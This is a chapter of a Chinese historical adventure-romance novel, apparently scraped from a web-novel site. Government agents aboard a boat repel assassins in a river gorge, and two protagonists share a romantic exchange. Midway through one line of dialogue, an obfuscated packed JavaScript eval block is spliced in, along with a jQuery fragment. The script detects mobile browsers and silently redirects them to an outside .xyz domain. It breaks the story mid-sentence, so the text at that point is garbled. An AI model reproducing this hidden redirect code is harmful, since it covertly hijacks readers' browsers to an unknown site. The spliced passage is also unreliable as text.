船头,顾溪亭、许暮、惊蛰并肩而立,望着前方逐渐收窄、峭壁如刀削斧劈的河道。
其实通往都城的这条水路,贴着鬼见愁和回龙湾,曾是云沧至都城最快的捷径。
但不知从何时起,消失在这条水道上的船队越来越多,久而久之,这条水路几乎荒废,只余下一些亡命徒或急红眼的商贾,抱着侥幸之心闯上一闯——有的侥幸通过,有的直接从鬼见愁去了鬼门关。
然而顾溪亭选择这条道,却并非亡命,也非急迫,是他不信邪。
他目光锐利地扫视着两岸的岩壁:“彼时朝廷想另开水道,但资金不足,庞家主动承担风险,以垫付巨额资金,向朝廷换取了世袭的专营权。”
许暮看着那鬼斧神工般的险峻地貌说道:“天灾固然可怖,只是天气恶劣时出事概率虽增,却也远未到十死无生的地步才对。”
顾溪亭嘴角勾起一丝冰冷的弧度:“比起捉摸不定的天威,我更信是人心险恶,借这险地行鬼蜮之事。”
惊蛰在一旁飞快地记录着两岸的特征,闻言笔尖微顿沉声道:“大人明鉴,此处地形适合设伏,若有人想掌控漕运,清除异己,此地便是天然的坟场。”
此时,船队缓缓驶入鬼见愁的入口,航道骤然缩窄,仅容两船勉强并行。
天色仿佛也随着深入而昏暗下来,压得人心头发闷。
两岸峭壁高耸入云,怪石嶙峋,如同巨兽张开的獠牙,投下巨大的阴影。
许暮望着这壮阔又险恶的景象,不禁低声感慨:“造化之奇,鬼斧神工……”
顾意神情严肃地走了过来,一手紧握腰间佩剑,一手捧着顾溪亭的焚心,递到他面前。
他将几人护在身后,声音低沉地向顾溪亭汇报:“峭壁上有东西在动。”
顾溪亭接过焚心后,目光如电,瞬间锁定了顾意所指的方向。
许暮和惊蛰也几乎是同时把手搭在了腕间的箭袖上。
果然,数十道黑影如同鬼魅般吸附在垂直的峭壁上,正以惊人的速度降落,动作迅捷诡异,如同巨大的黑色蜘蛛!
“跟在我身后。”顾溪亭对许暮低声说了一句,随即踏前一步拔剑,与顾意并肩而立。
几乎在顾溪亭拔剑的同时,惊鸿司和霜刃司的十四名精锐,训练有素地瞬间散开,将他们四人护在核心,形成了一个严密的防御圈。
人人屏息凝神,目光锐利,甲板上的气氛一触即发。
就在这剑拔弩张的紧张时刻,船舱方向却传来一声轻响。
众人循声望去,只见晏清和竟不紧不慢地推开了他那间舱室的舷窗。
他甚至还悠闲地给自己倒了杯茶,靠在窗边,饶有兴致地望向峭壁上的黑影。
晏清和这一开窗,让峭壁上那些吸附的黑影,动作骤然加速。
他们不再隐藏行迹,如同黑色的雨点,精准无比地朝着晏清和所在的船舱窗户和舱门扑来!
一部分黑影在半空中甩出飞爪钩索,直取甲板上的顾溪亭等人,显然是想制造混乱,拖住他们。
“晏清和!”顾溪亭气得厉喝一声,又瞬间洞悉了对方的目标,他手中焚心剑光一闪,精准地劈断一根射向许暮的钩索!
“掠雪裁光留下!其他人,护住那家伙!”
掠雪和裁光身形一晃留在顾溪亭身侧,其余惊鸿司成员和霜刃司主力,则如同潮水般涌向晏清和的船舱。
扑向甲板的影蛛并不畏死,手中弯刀短匕攻势凌厉,却只守不攻,只求缠住顾溪亭等人!
掠雪见状,取出发髻间一枚看似普通的碧玉茶簪倏然弹出,化作一道肉眼几乎难以捕捉的翠绿流光,破空而去!
一声轻响,茶簪精准地没入一名扑向顾溪亭的影蛛眉心,那影蛛身形一僵,直挺挺栽倒在地。
几乎同时,裁光手腕一翻,数道细如发丝却坚韧无比的金线自袖中射|出,金线在空中交织成一张细密的网,将数支射向几人的箭矢尽数绞碎!
两人配合天衣无缝,动作行云流水,带着一种奇异的美感。
虽然情况危机,但许暮眼中还是闪过一丝惊艳,他虽知九焙司各有所长,但亲眼目睹惊鸿司如此精妙绝伦的出手,还是第一次。
惊蛰更是看得热血沸腾,一边警惕着四周,一边低声说道:“金线裁光破毒矢,玉簪掠雪取敌颅!”
两人不知何时已将箭袖上的手移开,开始欣赏起掠雪裁光的招式。
而霜刃司的成员则如同真正的幽灵,身形飘忽不定,手中短刃寒光闪烁,每一次闪现,都伴随着影蛛的一声闷哼。
他们与试图冲击舱室的影蛛短兵相接,招招致命,狠辣刁钻,将影蛛死死拦截在舱门之外。
惊鸿司掠雪裁光、霜刃司冰锷寒泓,原来名字就是他们最精妙的功夫。
顾意小小年纪,剑势却大开大阖,带着一股霸道,所过之处,影蛛非死即伤。
掠雪身形灵动,茶簪神出鬼没,裁光金线如臂,攻防一体,三人配合默契,很快将甲板上的影蛛清理干净。
顾溪亭沉声道:“掠雪、裁光,去支援!”
两人应声而动,瞬间加入舱室外的战团。
有了他们二人的加入,霜刃司压力骤减,攻势更加凌厉,将最后几名试图破门的影蛛彻底绞杀。
舱内,晏清和的身影清晰地映在窗纸上,他仍端着茶杯,仿佛刚刚发生的血战与他无关。
门外被溅上几道刺目的血痕,但舱门紧闭,内里安然无恙。
战斗结束得迅猛而惨烈,水面漂浮着几具黑衣尸体,迅速被湍急的河水卷走。
空气中弥漫着浓重的血腥味。
顾溪亭收剑回鞘,转身快步走到许暮身边,目光扫过他全身,确认毫发无伤,才松了口气,他轻轻握住许暮的手,发现触感微凉,便低声安慰他:“没事了。”
许暮感受到他掌心的温热,紧绷的神经微微放松,点了点头:“嗯。”
这时,晏清和舱室的窗户再次被推开,他探出头来,脸上带着一丝恰到好处的无辜:“顾大人,外面都解决了?我能出来了吗?”
顾溪亭看着他这副慢条斯理的模样,再想想刚才那场惊心动魄的厮杀,一股无名火差点窜上来。
他想起关于晏清和那日把晏无咎气吐血的事情,此刻忽然觉得所报非虚。
顾溪亭冷冷地瞥了晏清和一眼,没好气地怼道:“有区别吗?你刚才在里面看得还不够清楚?”
晏清和笑了笑,目光扫过甲板上的狼藉和血迹:“这是薛家的人吧?”
顾溪亭眼神锐利地盯着他:“比起这个,我更在意的是,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189240|181048||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这帮人毫无战术可言,只凭一股悍勇强冲,薛家军若都靠这种莽夫行径,是如何戍守大雍边境这么多年的。”
晏清和看着顾溪亭,笑得意味深长:“顾大人明鉴。”
甲板上的血迹很快被冲刷干净,但空气中残留的血腥气并未散去。
九焙司众人迅速清理战场,加固防御,轮换休整。
船队缓缓驶离了鬼见愁最狭窄的咽喉地带,但前方水路的阴影似乎更加浓重。
顾溪亭站在船头,望着前方河道在昏暗光线下形成的巨大拐弯——回龙湾。
那里水流更加湍急,巨大的漩涡在水面下若隐若现,两岸山势也比此处更加复杂。
“薛家的人,不过是来添乱的。”顾溪亭的声音低沉而凝重,打破了短暂的沉寂。
他侧头看向身边的许暮,眼神深邃:“真正的硬仗,恐怕还在后头。”
许暮顺着他的目光望去,回龙湾如同一条蛰伏的恶龙,张开了巨口。
“薛承辞行事,狠辣直接,目标明确但莽撞,庞云策则截然不同,此人谋定而后动,他特意放任薛家今日在此先动手,恐怕是在探我们的底。”
顾溪亭顿了顿,目光扫过船上众人字字清晰地说道:“庞家的目标,绝不仅仅是晏清和,我们所有人,或者说是我和许暮,才是他们真正想拔除的眼中钉,接下来的回龙湾,还有更险的伏牛滩,恐怕才是真正的鬼门关。”
他将目光落在许暮身上,看着他沉静如水的眸子,心中那根紧绷的弦紧了又紧。
顾溪亭用力握了一下许暮的手,许暮抬头看向他,脸上写着不惧生死四个大字。
他未放开许暮的手,转身对雾焙司的岫影和潜鳞下令:“派水鹞子前出回龙湾探查,所有人,轮换休整保存体力,真正的考验,还在后面。”
船队调整航向,小心翼翼地朝着那暗流汹涌杀机四伏的回龙湾深处驶去。
船头,顾溪亭与许暮并肩而立,望着前方那片仿佛能吞噬一切的黑暗水域。
九焙司众人远远地护卫在四周,保持着警惕的距离。
顾溪亭目光落在许暮沉静的侧脸上,经历了方才的厮杀,面对前方未知的凶险,竟看不出他有丝毫慌乱,顾溪亭探究地说道:“我完全看不出你的害怕。”
许暮闻言,嘴角向上弯起,转过头看向顾溪亭,眼神清亮:“害怕?眼前这些,还没有初见时,顾大人拿剑抵着我喉咙吓人。”
顾溪亭微微一怔,显然没料到他会突然提起这桩旧事。
他看着许暮眼中带着点促狭的笑意,心头像是被羽毛轻轻搔了一下:“许公子那时……像只会挠人的小野猫。”
许暮调侃不成反被调戏,出手要打他,却被顾溪亭握着手腕拽向自己心口的位置,他看着许暮的眼睛蛊惑道:“现在,却像只会吃人的豹子。”
许暮抽了几次都没将手抽出来,只能任由顾溪亭握着手贴在他心口处,感受他越来越快的心跳和起伏的胸膛……
此时,更加巨大的山体阴影笼罩下来,湍急的水流声如同恶龙咆哮。
晏清和站在舱门口,背对着逐渐暗淡的天光,众人看不清他的表情,只看到他瘦削的背影在阴影中显得有些模糊。
无人知晓,此刻他低垂的眼帘下,正闪过一丝冰冷而算计的光芒。